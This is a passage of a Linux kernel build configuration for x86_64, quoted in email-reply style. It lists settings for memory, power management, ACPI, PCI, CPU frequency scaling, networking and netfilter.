CONFIG_ARCH_PHYS_ADDR_T_64BIT=y > CONFIG_ARCH_DMA_ADDR_T_64BIT=y > CONFIG_X86_DIRECT_GBPAGES=y > CONFIG_NUMA=y > CONFIG_AMD_NUMA=y > CONFIG_X86_64_ACPI_NUMA=y > CONFIG_NODES_SPAN_OTHER_NODES=y > # CONFIG_NUMA_EMU is not set > CONFIG_NODES_SHIFT=9 > CONFIG_ARCH_SPARSEMEM_ENABLE=y > CONFIG_ARCH_SPARSEMEM_DEFAULT=y > CONFIG_ARCH_SELECT_MEMORY_MODEL=y > # CONFIG_ARCH_MEMORY_PROBE is not set > CONFIG_ARCH_PROC_KCORE_TEXT=y > CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 > CONFIG_SELECT_MEMORY_MODEL=y > CONFIG_SPARSEMEM_MANUAL=y > CONFIG_SPARSEMEM=y > CONFIG_NEED_MULTIPLE_NODES=y > CONFIG_HAVE_MEMORY_PRESENT=y > CONFIG_SPARSEMEM_EXTREME=y > CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y > CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y > CONFIG_SPARSEMEM_VMEMMAP=y > CONFIG_HAVE_MEMBLOCK=y > CONFIG_HAVE_MEMBLOCK_NODE_MAP=y > CONFIG_ARCH_DISCARD_MEMBLOCK=y > CONFIG_MEMORY_ISOLATION=y > # CONFIG_MOVABLE_NODE is not set > CONFIG_HAVE_BOOTMEM_INFO_NODE=y > CONFIG_MEMORY_HOTPLUG=y > CONFIG_MEMORY_HOTPLUG_SPARSE=y > CONFIG_MEMORY_HOTREMOVE=y > CONFIG_PAGEFLAGS_EXTENDED=y > CONFIG_SPLIT_PTLOCK_CPUS=4 > CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y > CONFIG_MEMORY_BALLOON=y > CONFIG_BALLOON_COMPACTION=y > CONFIG_COMPACTION=y > CONFIG_MIGRATION=y > CONFIG_ARCH_ENABLE_HUGEPAGE_MIGRATION=y > CONFIG_PHYS_ADDR_T_64BIT=y > CONFIG_ZONE_DMA_FLAG=0 > CONFIG_VIRT_TO_BUS=y > CONFIG_KSM=y > CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 > CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y > CONFIG_MEMORY_FAILURE=y > # CONFIG_HWPOISON_INJECT is not set > CONFIG_TRANSPARENT_HUGEPAGE=y > # CONFIG_TRANSPARENT_HUGEPAGE_ALWAYS is not set > CONFIG_TRANSPARENT_HUGEPAGE_MADVISE=y > CONFIG_CLEANCACHE=y > CONFIG_FRONTSWAP=y > CONFIG_CMA=y > # CONFIG_CMA_DEBUG is not set > # CONFIG_CMA_DEBUGFS is not set > CONFIG_CMA_AREAS=8 > CONFIG_ZSWAP=y > CONFIG_ZPOOL=y > CONFIG_ZBUD=y > CONFIG_ZSMALLOC=y > # CONFIG_PGTABLE_MAPPING is not set > # CONFIG_ZSMALLOC_STAT is not set > CONFIG_GENERIC_EARLY_IOREMAP=y > CONFIG_ARCH_SUPPORTS_DEFERRED_STRUCT_PAGE_INIT=y > # CONFIG_DEFERRED_STRUCT_PAGE_INIT is not set > CONFIG_X86_PMEM_LEGACY=y > CONFIG_X86_CHECK_BIOS_CORRUPTION=y > # CONFIG_X86_BOOTPARAM_MEMORY_CORRUPTION_CHECK is not set > CONFIG_X86_RESERVE_LOW=64 > CONFIG_MTRR=y > CONFIG_MTRR_SANITIZER=y > CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0 > CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1 > CONFIG_X86_PAT=y > CONFIG_ARCH_USES_PG_UNCACHED=y > CONFIG_ARCH_RANDOM=y > CONFIG_X86_SMAP=y > # CONFIG_X86_INTEL_MPX is not set > CONFIG_EFI=y > CONFIG_EFI_STUB=y > CONFIG_EFI_MIXED=y > CONFIG_SECCOMP=y > # CONFIG_HZ_100 is not set > # CONFIG_HZ_250 is not set > # CONFIG_HZ_300 is not set > CONFIG_HZ_1000=y > CONFIG_HZ=1000 > CONFIG_SCHED_HRTICK=y > CONFIG_KEXEC=y > CONFIG_KEXEC_FILE=y > CONFIG_KEXEC_VERIFY_SIG=y > CONFIG_KEXEC_BZIMAGE_VERIFY_SIG=y > CONFIG_CRASH_DUMP=y > CONFIG_KEXEC_JUMP=y > CONFIG_PHYSICAL_START=0x1000000 > CONFIG_RELOCATABLE=y > # CONFIG_RANDOMIZE_BASE is not set > CONFIG_PHYSICAL_ALIGN=0x1000000 > CONFIG_HOTPLUG_CPU=y > # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set > # CONFIG_DEBUG_HOTPLUG_CPU0 is not set > # CONFIG_COMPAT_VDSO is not set > # CONFIG_CMDLINE_BOOL is not set > CONFIG_HAVE_LIVEPATCH=y > # CONFIG_LIVEPATCH is not set > CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y > CONFIG_ARCH_ENABLE_MEMORY_HOTREMOVE=y > CONFIG_USE_PERCPU_NUMA_NODE_ID=y > > # > # Power management and ACPI options > # > CONFIG_ARCH_HIBERNATION_HEADER=y > CONFIG_SUSPEND=y > CONFIG_SUSPEND_FREEZER=y > CONFIG_HIBERNATE_CALLBACKS=y > CONFIG_HIBERNATION=y > CONFIG_PM_STD_PARTITION="" > CONFIG_PM_SLEEP=y > CONFIG_PM_SLEEP_SMP=y > # CONFIG_PM_AUTOSLEEP is not set > # CONFIG_PM_WAKELOCKS is not set > CONFIG_PM=y > CONFIG_PM_DEBUG=y > CONFIG_PM_ADVANCED_DEBUG=y > # CONFIG_PM_TEST_SUSPEND is not set > CONFIG_PM_SLEEP_DEBUG=y > # CONFIG_DPM_WATCHDOG is not set > CONFIG_PM_TRACE=y > CONFIG_PM_TRACE_RTC=y > CONFIG_PM_CLK=y > # CONFIG_WQ_POWER_EFFICIENT_DEFAULT is not set > CONFIG_ACPI=y > CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y > CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y > CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y > CONFIG_ACPI_SLEEP=y > # CONFIG_ACPI_PROCFS_POWER is not set > CONFIG_ACPI_REV_OVERRIDE_POSSIBLE=y > # CONFIG_ACPI_EC_DEBUGFS is not set > CONFIG_ACPI_AC=y > CONFIG_ACPI_BATTERY=y > CONFIG_ACPI_BUTTON=y > # CONFIG_ACPI_VIDEO is not set > CONFIG_ACPI_FAN=y > CONFIG_ACPI_DOCK=y > CONFIG_ACPI_PROCESSOR=y > CONFIG_ACPI_HOTPLUG_CPU=y > # CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set > CONFIG_ACPI_THERMAL=y > CONFIG_ACPI_NUMA=y > # CONFIG_ACPI_CUSTOM_DSDT is not set > CONFIG_ACPI_INITRD_TABLE_OVERRIDE=y > # CONFIG_ACPI_DEBUG is not set > CONFIG_ACPI_PCI_SLOT=y > CONFIG_X86_PM_TIMER=y > CONFIG_ACPI_CONTAINER=y > CONFIG_ACPI_HOTPLUG_MEMORY=y > CONFIG_ACPI_HOTPLUG_IOAPIC=y > # CONFIG_ACPI_SBS is not set > CONFIG_ACPI_HED=y > # CONFIG_ACPI_CUSTOM_METHOD is not set > CONFIG_ACPI_BGRT=y > # CONFIG_ACPI_REDUCED_HARDWARE_ONLY is not set > CONFIG_ACPI_NFIT=m > # CONFIG_ACPI_NFIT_DEBUG is not set > CONFIG_HAVE_ACPI_APEI=y > CONFIG_HAVE_ACPI_APEI_NMI=y > CONFIG_ACPI_APEI=y > CONFIG_ACPI_APEI_GHES=y > CONFIG_ACPI_APEI_PCIEAER=y > CONFIG_ACPI_APEI_MEMORY_FAILURE=y > # CONFIG_ACPI_APEI_EINJ is not set > # CONFIG_ACPI_APEI_ERST_DEBUG is not set > # CONFIG_ACPI_EXTLOG is not set > # CONFIG_PMIC_OPREGION is not set > CONFIG_SFI=y > > # > # CPU Frequency scaling > # > CONFIG_CPU_FREQ=y > CONFIG_CPU_FREQ_GOV_COMMON=y > # CONFIG_CPU_FREQ_STAT is not set > # CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set > # CONFIG_CPU_FREQ_DEFAULT_GOV_POWERSAVE is not set > # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set > CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND=y > # CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set > CONFIG_CPU_FREQ_GOV_PERFORMANCE=y > CONFIG_CPU_FREQ_GOV_POWERSAVE=y > CONFIG_CPU_FREQ_GOV_USERSPACE=y > CONFIG_CPU_FREQ_GOV_ONDEMAND=y > CONFIG_CPU_FREQ_GOV_CONSERVATIVE=y > > # > # CPU frequency scaling drivers > # > CONFIG_X86_INTEL_PSTATE=y > # CONFIG_X86_PCC_CPUFREQ is not set > CONFIG_X86_ACPI_CPUFREQ=y > CONFIG_X86_ACPI_CPUFREQ_CPB=y > # CONFIG_X86_POWERNOW_K8 is not set > # CONFIG_X86_AMD_FREQ_SENSITIVITY is not set > # CONFIG_X86_SPEEDSTEP_CENTRINO is not set > # CONFIG_X86_P4_CLOCKMOD is not set > > # > # shared options > # > # CONFIG_X86_SPEEDSTEP_LIB is not set > > # > # CPU Idle > # > CONFIG_CPU_IDLE=y > # CONFIG_CPU_IDLE_GOV_LADDER is not set > CONFIG_CPU_IDLE_GOV_MENU=y > # CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set > CONFIG_INTEL_IDLE=y > > # > # Memory power savings > # > # CONFIG_I7300_IDLE is not set > > # > # Bus options (PCI etc.) > # > CONFIG_PCI=y > CONFIG_PCI_DIRECT=y > CONFIG_PCI_MMCONFIG=y > CONFIG_PCI_XEN=y > CONFIG_PCI_DOMAINS=y > # CONFIG_PCI_CNB20LE_QUIRK is not set > CONFIG_PCIEPORTBUS=y > CONFIG_HOTPLUG_PCI_PCIE=y > CONFIG_PCIEAER=y > CONFIG_PCIE_ECRC=y > # CONFIG_PCIEAER_INJECT is not set > CONFIG_PCIEASPM=y > # CONFIG_PCIEASPM_DEBUG is not set > CONFIG_PCIEASPM_DEFAULT=y > # CONFIG_PCIEASPM_POWERSAVE is not set > # CONFIG_PCIEASPM_PERFORMANCE is not set > CONFIG_PCIE_PME=y > CONFIG_PCI_BUS_ADDR_T_64BIT=y > CONFIG_PCI_MSI=y > CONFIG_PCI_MSI_IRQ_DOMAIN=y > # CONFIG_PCI_DEBUG is not set > # CONFIG_PCI_REALLOC_ENABLE_AUTO is not set > CONFIG_PCI_STUB=y > # CONFIG_XEN_PCIDEV_FRONTEND is not set > CONFIG_HT_IRQ=y > CONFIG_PCI_ATS=y > CONFIG_PCI_IOV=y > CONFIG_PCI_PRI=y > CONFIG_PCI_PASID=y > CONFIG_PCI_LABEL=y > > # > # PCI host controller drivers > # > CONFIG_ISA_DMA_API=y > CONFIG_AMD_NB=y > CONFIG_PCCARD=y > CONFIG_PCMCIA=y > CONFIG_PCMCIA_LOAD_CIS=y > CONFIG_CARDBUS=y > > # > # PC-card bridges > # > # CONFIG_YENTA is not set > # CONFIG_PD6729 is not set > # CONFIG_I82092 is not set > CONFIG_HOTPLUG_PCI=y > CONFIG_HOTPLUG_PCI_ACPI=y > # CONFIG_HOTPLUG_PCI_ACPI_IBM is not set > # CONFIG_HOTPLUG_PCI_CPCI is not set > # CONFIG_HOTPLUG_PCI_SHPC is not set > # CONFIG_RAPIDIO is not set > # CONFIG_X86_SYSFB is not set > > # > # Executable file formats / Emulations > # > CONFIG_BINFMT_ELF=y > CONFIG_COMPAT_BINFMT_ELF=y > CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS=y > CONFIG_BINFMT_SCRIPT=y > # CONFIG_HAVE_AOUT is not set > # CONFIG_BINFMT_MISC is not set > CONFIG_COREDUMP=y > CONFIG_IA32_EMULATION=y > # CONFIG_IA32_AOUT is not set > # CONFIG_X86_X32 is not set > CONFIG_COMPAT=y > CONFIG_COMPAT_FOR_U64_ALIGNMENT=y > CONFIG_SYSVIPC_COMPAT=y > CONFIG_KEYS_COMPAT=y > CONFIG_X86_DEV_DMA_OPS=y > CONFIG_PMC_ATOM=y > CONFIG_NET=y > CONFIG_NET_INGRESS=y > > # > # Networking options > # > CONFIG_PACKET=y > # CONFIG_PACKET_DIAG is not set > CONFIG_UNIX=y > # CONFIG_UNIX_DIAG is not set > CONFIG_XFRM=y > CONFIG_XFRM_ALGO=y > CONFIG_XFRM_USER=y > CONFIG_XFRM_SUB_POLICY=y > CONFIG_XFRM_MIGRATE=y > CONFIG_XFRM_STATISTICS=y > # CONFIG_NET_KEY is not set > CONFIG_INET=y > CONFIG_IP_MULTICAST=y > CONFIG_IP_ADVANCED_ROUTER=y > CONFIG_IP_FIB_TRIE_STATS=y > CONFIG_IP_MULTIPLE_TABLES=y > CONFIG_IP_ROUTE_MULTIPATH=y > CONFIG_IP_ROUTE_VERBOSE=y > # CONFIG_IP_PNP is not set > # CONFIG_NET_IPIP is not set > # CONFIG_NET_IPGRE_DEMUX is not set > # CONFIG_NET_IP_TUNNEL is not set > CONFIG_IP_MROUTE=y > CONFIG_IP_MROUTE_MULTIPLE_TABLES=y > CONFIG_IP_PIMSM_V1=y > CONFIG_IP_PIMSM_V2=y > CONFIG_SYN_COOKIES=y > # CONFIG_NET_UDP_TUNNEL is not set > # CONFIG_NET_FOU is not set > # CONFIG_GENEVE_CORE is not set > # CONFIG_INET_AH is not set > # CONFIG_INET_ESP is not set > # CONFIG_INET_IPCOMP is not set > # CONFIG_INET_XFRM_TUNNEL is not set > # CONFIG_INET_TUNNEL is not set > # CONFIG_INET_XFRM_MODE_TRANSPORT is not set > # CONFIG_INET_XFRM_MODE_TUNNEL is not set > # CONFIG_INET_XFRM_MODE_BEET is not set > CONFIG_INET_LRO=y > # CONFIG_INET_DIAG is not set > CONFIG_TCP_CONG_ADVANCED=y > # CONFIG_TCP_CONG_BIC is not set > CONFIG_TCP_CONG_CUBIC=y > # CONFIG_TCP_CONG_WESTWOOD is not set > # CONFIG_TCP_CONG_HTCP is not set > # CONFIG_TCP_CONG_HSTCP is not set > # CONFIG_TCP_CONG_HYBLA is not set > # CONFIG_TCP_CONG_VEGAS is not set > # CONFIG_TCP_CONG_SCALABLE is not set > # CONFIG_TCP_CONG_LP is not set > # CONFIG_TCP_CONG_VENO is not set > # CONFIG_TCP_CONG_YEAH is not set > # CONFIG_TCP_CONG_ILLINOIS is not set > # CONFIG_TCP_CONG_DCTCP is not set > # CONFIG_TCP_CONG_CDG is not set > CONFIG_DEFAULT_CUBIC=y > # CONFIG_DEFAULT_RENO is not set > CONFIG_DEFAULT_TCP_CONG="cubic" > CONFIG_TCP_MD5SIG=y > CONFIG_IPV6=y > CONFIG_IPV6_ROUTER_PREF=y > CONFIG_IPV6_ROUTE_INFO=y > CONFIG_IPV6_OPTIMISTIC_DAD=y > # CONFIG_INET6_AH is not set > # CONFIG_INET6_ESP is not set > # CONFIG_INET6_IPCOMP is not set > CONFIG_IPV6_MIP6=y > # CONFIG_INET6_XFRM_TUNNEL is not set > # CONFIG_INET6_TUNNEL is not set > # CONFIG_INET6_XFRM_MODE_TRANSPORT is not set > # CONFIG_INET6_XFRM_MODE_TUNNEL is not set > # CONFIG_INET6_XFRM_MODE_BEET is not set > # CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set > # CONFIG_IPV6_SIT is not set > # CONFIG_IPV6_TUNNEL is not set > # CONFIG_IPV6_GRE is not set > CONFIG_IPV6_MULTIPLE_TABLES=y > CONFIG_IPV6_SUBTREES=y > CONFIG_IPV6_MROUTE=y > CONFIG_IPV6_MROUTE_MULTIPLE_TABLES=y > CONFIG_IPV6_PIMSM_V2=y > CONFIG_NETLABEL=y > CONFIG_NETWORK_SECMARK=y > CONFIG_NET_PTP_CLASSIFY=y > CONFIG_NETWORK_PHY_TIMESTAMPING=y > CONFIG_NETFILTER=y > # CONFIG_NETFILTER_DEBUG is not set > CONFIG_NETFILTER_ADVANCED=y > # CONFIG_BRIDGE_NETFILTER is not set > > # > # Core Netfilter Configuration > # > CONFIG_NETFILTER_INGRESS=y > # CONFIG_NETFILTER_NETLINK_ACCT is not set > # CONFIG_NETFILTER_NETLINK_QUEUE is not set > # CONFIG_NETFILTER_NETLINK_LOG is not set > CONFIG_NF_CONNTRACK=y > CONFIG_NF_CONNTRACK_MARK=y > CONFIG_NF_CONNTRACK_SECMARK=y > CONFIG_NF_CONNTRACK_PROCFS=y > CONFIG_NF_CONNTRACK_EVENTS=y > # CONFIG_NF_CONNTRACK_TIMEOUT is not set > CONFIG_NF_CONNTRACK_TIMESTAMP=y > # CONFIG_NF_CT_PROTO_DCCP is not set > # CONFIG_NF_CT_PROTO_SCTP is not set > # CONFIG_NF_CT_PROTO_UDPLITE is not set > # CONFIG_NF_CONNTRACK_AMANDA is not set > # CONFIG_NF_CONNTRACK_FTP is not set > # CONFIG_NF_CONNTRACK_H323 is not set > # CONFIG_NF_CONNTRACK_IRC is not set > # CONFIG_NF_CONNTRACK_NETBIOS_NS is not set > # CONFIG_NF_CONNTRACK_SNMP is not set > # CONFIG_NF_CONNTRACK_PPTP is not set > # CONFIG_NF_CONNTRACK_SANE is not set > # CONFIG_NF_CONNTRACK_SIP is not set > # CONFIG_NF_CONNTRACK_TFTP is not set > # CONFIG_NF_CT_NETLINK is not set > # CONFIG_NF_CT_NETLINK_TIMEOUT is not set > CONFIG_NF_NAT=y > CONFIG_NF_NAT_NEEDED=y > # CONFIG_NF_NAT_AMANDA is not set > # CONFIG_NF_NAT_FTP is not set > # CONFIG_NF_NAT_IRC is not set > # CONFIG_NF_NAT_SIP is not set > # CONFIG_NF_NAT_TFTP is not set > # CONFIG_NF_NAT_REDIRECT is not set > # CONFIG_NF_TABLES is not set > CONFIG_NETFILTER_XTABLES=y > > # > # Xtables combined modules > # > # CONFIG_NETFILTER_XT_MARK is not set > # CONFIG_NETFILTER_XT_CONNMARK is not set > > # > # Xtables targets > # > # CONFIG_NETFILTER_XT_TARGET_AUDIT is not set > CONFIG_NETFILTER_XT_TARGET_CHECKSUM=y > # CONFIG_NETFILTER_XT_TARGET_CLASSIFY is not set > # CONFIG_NETFILTER_XT_TARGET_CONNMARK is not set > # CONFIG_NETFILTER_XT_TARGET_CONNSECMARK is not set > # CONFIG_NETFILTER_XT_TARGET_DSCP is not set > # CONFIG_NETFILTER_XT_TARGET_HL is not set > # CONFIG_NETFILTER_XT_TARGET_HMARK is not set > # CONFIG_NETFILTER_XT_TARGET_IDLETIMER is not set > # CONFIG_NETFILTER_XT_TARGET_LED is not set > # CONFIG_NETFILTER_XT_TARGET_LOG is not set > # CONFIG_NETFILTER_XT_TARGET_MARK is not set > CONFIG_NETFILTER_XT_NAT=y > # CONFIG_NETFILTER_XT_TARGET_NETMAP is not set > # CONFIG_NETFILTER_XT_TARGET_NFLOG is not set > # CONFIG_NETFILTER_XT_TARGET_NFQUEUE is not set > # CONFIG_NETFILTER_XT_TARGET_RATEEST is not set > # CONFIG_NETFILTER_XT_TARGET_REDIRECT is not set > # CONFIG_NETFILTER_XT_TARGET_TEE is not set > # CONFIG_NETFILTER_XT_TARGET_TPROXY is not set > # CONFIG_NETFILTER_XT_TARGET_SECMARK is not set > # CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set > # CONFIG_NETFILTER_XT_TARGET_TCPOPTSTRIP is not set > > # > # Xtables matches > # > # CONFIG_NETFILTER_XT_MATCH_ADDRTYPE is not set > # CONFIG_NETFILTER_XT_MATCH_BPF is not set > # CONFIG_NETFILTER_XT_MATCH_CGROUP is not set > # CONFIG_NETFILTER_XT_MATCH_CLUSTER is not set > # CONFIG_NETFILTER_XT_MATCH_COMMENT is not set > # CONFIG_NETFILTER_XT_MATCH_CONNBYTES is not set > # CONFIG_NETFILTER_XT_MATCH_CONNLABEL is not set > # CONFIG_NETFILTER_XT_MATCH_CONNLIMIT is not set > # CONFIG_NETFILTER_XT_MATCH_CONNMARK is not set > CONFIG_NETFILTER_XT_MATCH_CONNTRACK=y > # CONFIG_NETFILTER_XT_MATCH_CPU is not set > # CONFIG_NETFILTER_XT_MATCH_DCCP is not set > # CONFIG_NETFILTER_XT_MATCH_DEVGROUP is not set > # CONFIG_NETFILTER_XT_MATCH_DSCP is not set > # CONFIG_NETFILTER_XT_MATCH_ECN is not set > # CONFIG_NETFILTER_XT_MATCH_ESP is not set > # CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set > # CONFIG_NETFILTER_XT_MATCH_HELPER is not set > # CONFIG_NETFILTER_XT_MATCH_HL is not set > # CONFIG_NETFILTER_XT_MATCH_IPCOMP is not set > # CONFIG_NETFILTER_XT_MATCH_IPRANGE is not set > # CONFIG_NETFILTER_XT_MATCH_L2TP is not set > # CONFIG_NETFILTER_XT_MATCH_LENGTH is not set > # CONFIG_NETFILTER_XT_MATCH_LIMIT is not set > # CONFIG_NETFILTER_XT_MATCH_MAC is not set > # CONFIG_NETFILTER_XT_MATCH_MARK is not set > # CONFIG_NETFILTER_XT_MATCH_MULTIPORT is not set > # CONFIG_NETFILTER_XT_MATCH_NFACCT is not set > # CONFIG_NETFILTER_XT_MATCH_OWNER is not set > # CONFIG_NETFILTER_XT_MATCH_POLICY is not set > # CONFIG_NETFILTER_XT_MATCH_PKTTYPE is not set > # CONFIG_NETFILTER_XT_MATCH_QUOTA is not set > # CONFIG_NETFILTER_XT_MATCH_RATEEST is not set > # CONFIG_NETFILTER_XT_MATCH_REALM is not set > # CONFIG_NETFILTER_XT_MATCH_RECENT is not set > # CONFIG_NETFILTER_XT_MATCH_SCTP is not set > # CONFIG_NETFILTER_XT_MATCH_SOCKET is not set > # CONFIG_NETFILTER_XT_MATCH_STATE is not set > # CONFIG_NETFILTER_XT_MATCH_STATISTIC is not set > # CONFIG_NETFILTER_XT_MATCH_STRING is not set > # CONFIG_NETFILTER_XT_MATCH_TCPMSS is not set > # CONFIG_NETFILTER_XT_MATCH_TIME is not set > # CONFIG_NETFILTER_XT_MATCH_U32 is not set > # CONFIG_IP_SET is not set > # CONFIG_IP_VS is not set > > # > # IP: Netfilter Configuration > # > CONFIG_NF_DEFRAG_IPV4=y > CONFIG_NF_CONNTRACK_IPV4=y > # CONFIG_NF_CONNTRACK_PROC_COMPAT is not set > # CONFIG_NF_LOG_ARP is not set > # CONFIG_NF_LOG_IPV4 is not set > CONFIG_NF_REJECT_IPV4=y > CONFIG_NF_NAT_IPV4=y > CONFIG_NF_NAT_MASQUERADE_IPV4=y > # CONFIG_NF_NAT_PPTP is not set > # CONFIG_NF_NAT_H323 is not set > CONFIG_IP_NF_IPTABLES=y > # CONFIG_IP_NF_MATCH_AH is not set > # CONFIG_IP_NF_MATCH_ECN is not set > # CONFIG_IP_NF_MATCH_RPFILTER is not set > # CONFIG_IP_NF_MATCH_TTL is not set > CONFIG_IP_NF_FILTER=y > CONFIG_IP_NF_TARGET_REJECT=y > # CONFIG_IP_NF_TARGET_SYNPROXY is not set > CONFIG_IP_NF_NAT=y > CONFIG_IP_NF_TARGET_MASQUERADE=y > # CONFIG_IP_NF_TARGET_NETMAP is not set > # CONFIG_IP_NF_TARGET_REDIRECT is not set > CONFIG_IP_NF_MANGLE=y > # CONFIG_IP_NF_TARGET_CLUSTERIP is not set > # CONFIG_IP_NF_TARGET_ECN is not set > # CONFIG_IP_NF_TARGET_TTL is not set > # CONFIG_IP_NF_RAW is not set > # CONFIG_IP_NF_SECURITY is not set > # CONFIG_IP_NF_ARPTABLES is not set > > # > # IPv6: Netfilter Configuration > # > # CONFIG_NF_DEFRAG_IPV6 is not set > # CONFIG_NF_CONNTRACK_IPV6 is not set > # CONFIG_NF_REJECT_IPV6 is not set > # CONFIG_NF_LOG_IPV6 is not set > CONFIG_IP6_NF_IPTABLES=y > # CONFIG_IP6_NF_MATCH_AH is not set > # CONFIG_IP6_NF_MATCH_EUI64 is not set > # CONFIG_IP6_NF_MATCH_FRAG is not set > # CONFIG_IP6_NF_MATCH_OPTS is not set > # CONFIG_IP6_NF_MATCH_HL is not set > # CONFIG_IP6_NF_MATCH_IPV6HEADER is not set > # CONFIG_IP6_NF_MATCH_MH is not set > # CONFIG_IP6_NF_MATCH_RPFILTER is not set > # CONFIG_IP6_NF_MATCH_RT is not set > # CONFIG_IP6_NF_TARGET_HL is not set > CONFIG_IP6_NF_FILTER=y > # CONFIG_IP6_NF_TARGET_REJECT is not set > # CONFIG_IP6_NF_TARGET_SYNPROXY is not set > CONFIG_IP6_NF_MANGLE=y > # CONFIG_IP6_NF_RAW is not set > # CONFIG_IP6_NF_SECURITY is not set > CONFIG_BRIDGE_NF_EBTABLES=y > # CONFIG_BRIDGE_EBT_BROUTE is not set > CONFIG_BRIDGE_EBT_T_FILTER=y > # CONFIG_BRIDGE_EBT_T_NAT is not set > # CONFIG_BRIDGE_EBT_802_3 is not set > # CONFIG_BRIDGE_EBT_AMONG is not set > # CONFIG_BRIDGE_EBT_ARP is not set > # CONFIG_BRIDGE_EBT_IP is not set > # CONFIG_BRIDGE_EBT_IP6 is not set > # CONFIG_BRIDGE_EBT_LIMIT is not set > # CONFIG_BRIDGE_EBT_MARK is not set > # CONFIG_BRIDGE_EBT_PKTTYPE is not set > # CONFIG_BRIDGE_EBT_STP is not set > # CONFIG_BRIDGE_EBT_VLAN is not set > # CONFIG_BRIDGE_EBT_ARPREPLY is not set > # CONFIG_BRIDGE_EBT_DNAT is not set > # CONFIG_BRIDGE_EBT_MARK_T is not set > # CONFIG_BRIDGE_EBT_REDIRECT is not set > # CONFIG_BRIDGE_EBT_SNAT is not set > # CONFIG_BRIDGE_EBT_LOG is not set > # CONFIG_BRIDGE_EBT_NFLOG is not set > # CONFIG_IP_DCCP is not set > # CONFIG_IP_SCTP is not set > # CONFIG_RDS is not set > # CONFIG_TIPC is not set > # CONFIG_ATM is not set > # CONFIG_L2TP is not set > CONFIG_STP=y > CONFIG_GARP=y > CONFIG_MRP=y > CONFIG_BRIDGE=y > CONFIG_BRIDGE_IGMP_SNOOPING=y > CONFIG_BRIDGE_VLAN_FILTERING=y > CONFIG_HAVE_NET_DSA=y > # CONFIG_NET_DSA is not set > CONFIG_VLAN_8021Q=y > CONFIG_VLAN_8021Q_GVRP=y > CONFIG_VLAN_8021Q_MVRP=y > # CONFIG_DECNET is not set > CONFIG_LLC=y > # CONFIG_LLC2 is not set > # CONFIG_IPX is not set > # CONFIG_ATALK is not set > # CONFIG_X25 is not set > # CONFIG_LAPB is not set > # CONFIG_PHONET is not set > # CONFIG_6LOWPAN is not set > # CONFIG_IEEE802154 is not set > CONFIG_NET_SCHED=y > > # > # Queueing/Scheduling > # > # CONFIG_NET_SCH_CBQ is not set > # CONFIG_NET_SCH_HTB is not set > # CONFIG_NET_SCH_HFSC is not set > # CONFIG_NET_SCH_PRIO is not set > # CONFIG_NET_SCH_MULTIQ is not set > # CONFIG_NET_SCH_RED is not set > # CONFIG_NET_SCH_SFB is not set > # CONFIG_NET_SCH_SFQ is not set > # CONFIG_NET_SCH_TEQL is not set > # CONFIG_NET_SCH_TBF is not set > # CONFIG_NET_SCH_GRED is not set > # CONFIG_NET_SCH_DSMARK is not set > # CONFIG_NET_SCH_NETEM is not set > # CONFIG_NET_SCH_DRR is not set > # CONFIG_NET_SCH_MQPRIO is not set > # CONFIG_NET_SCH_CHOKE is not set > # CONFIG_NET_SCH_QFQ is not set > # CONFIG_NET_SCH_CODEL is not set > CONFIG_NET_SCH_FQ_CODEL=y > # CONFIG_NET_SCH_FQ is not set > # CONFIG_NET_SCH_HHF is not set > # CONFIG_NET_SCH_PIE is not set > # CONFIG_NET_SCH_INGRESS is not set > # CONFIG_NET_SCH_PLUG is not set > > # > # Classification > # > CONFIG_NET_CLS=y > # CONFIG_NET_CLS_BASIC is not set > # CONFIG_NET_CLS_TCINDEX is not set > # CONFIG_NET_CLS_ROUTE4 is not set > # CONFIG_NET_CLS_FW is not set > # CONFIG_NET_CLS_U32 is not set > # CONFIG_NET_CLS_RSVP is not set > # CONFIG_NET_CLS_RSVP6 is not set > # CONFIG_NET_CLS_FLOW is not set > CONFIG_NET_CLS_CGROUP=y > # CONFIG_NET_CLS_BPF is not set > # CONFIG_NET_CLS_FLOWER is not set > CONFIG_NET_EMATCH=y > CONFIG_NET_EMATCH_STACK=32 > # CONFIG_NET_EMATCH_CMP is not set > # CONFIG_NET_EMATCH_NBYTE is not set > # CONFIG_NET_EMATCH_U32 is not set > # CONFIG_NET_EMATCH_META is not set > # CONFIG_NET_EMATCH_TEXT is not set > CONFIG_NET_CLS_ACT=y > # CONFIG_NET_ACT_POLICE is not set > # CONFIG_NET_ACT_GACT is not set > # CONFIG_NET_ACT_MIRRED is not set > # CONFIG_NET_ACT_IPT is not set > # CONFIG_NET_ACT_NAT is not set > # CONFIG_NET_ACT_PEDIT is not set > # CONFIG_NET_ACT_SIMP is not set > # CONFIG_NET_ACT_SKBEDIT is not set > # CONFIG_NET_ACT_CSUM is not set > # CONFIG_NET_ACT_VLAN is not set > # CONFIG_NET_ACT_BPF is not set > # CONFIG_NET_ACT_CONNMARK is not set > CONFIG_NET_SCH_FIFO=y > CONFIG_DCB=y > CONFIG_DNS_RESOLVER=y > # CONFIG_BATMAN_ADV is not set > # CONFIG_OPENVSWITCH is not set > # CONFIG_VSOCKETS is not set > CONFIG_NETLINK_MMAP=y > # CONFIG_NETLINK_DIAG is not set > CONFIG_MPLS=y > # CONFIG_NET_MPLS_GSO is not set > # CONFIG_MPLS_ROUTING is not set > # CONFIG_HSR is not set > 